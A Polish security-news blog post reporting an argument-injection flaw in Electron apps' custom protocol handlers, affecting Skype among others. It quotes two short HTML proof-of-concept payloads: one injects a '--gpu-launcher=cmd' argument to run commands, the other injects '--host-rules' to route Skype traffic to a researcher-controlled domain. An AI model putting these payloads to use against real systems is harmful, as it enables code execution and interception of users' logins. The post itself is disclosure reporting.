Preorder drugiego tomu książki sekuraka: Wprowadzenie do bezpieczeństwa IT. -15% z kodem: sekurak-book
Możliwość podsłuchu logowania do Skype prostym HTML-em
Tym razem mamy kolejną edycję małego koszmaru z frameworkiem electronjs, wykorzystywanym do budowy aplikacji desktopowych (ze znanych appek – mamy tu Skype czy desktopowy klient Slacka). Jak działa Electron? W skrócie to paczka HTML-a / JavaScriptu z dołożonym Chromium + nodejs w backendzie:
Electron based applications are basically bunch of Javascript and HTML files rendered by Chromium for front-end and nodejs for back-end. And Chromium and nodejs is bundled inside main executable file.
Jakiś czas temu pojawiła się podatność umożliwiająca prostym HTML-em wykonać kod na komputerze użytkownika aplikacji windowsowej bazującej na Electronie. Wystarczy, że ktoś wejdzie na stronę zawierającą taki fragment:
<!doctype html> <script> window.location = 'exodus://aaaaaaaaa" --gpu-launcher="cmd" --aaaaa=' </script>
Tutaj zakładamy że aplikacja zarejestrowała swój „protokół” (w tym przypadku „exodus”), co często się dzieje. Podatność została załatana… ale nie do końca, tym razem pokazano taki przykład:
<!doctype html> <script> window.location = 'skype://user?userinfo" --host-rules="MAP * evil.doyensec.com" --foobar=' </script>
Czyli można przekierować ruch Skype (przynajmniej fakt logowania się delikwenta) na własną domenę (dając tam również prawidłowy certyfikat SSL). Innymi słowy:
In fact, an attacker can exploit this issue by overriding the host definitions in order to perform completely transparent Man-In-The-Middle.
Tutaj mamy więcej szczegółów + filmik pokazujący działanie eksploita.
–ms
tak to jest, jak się używa frameworków do frameworków
Niech to, desktopowy Riot.im też jest na electronie.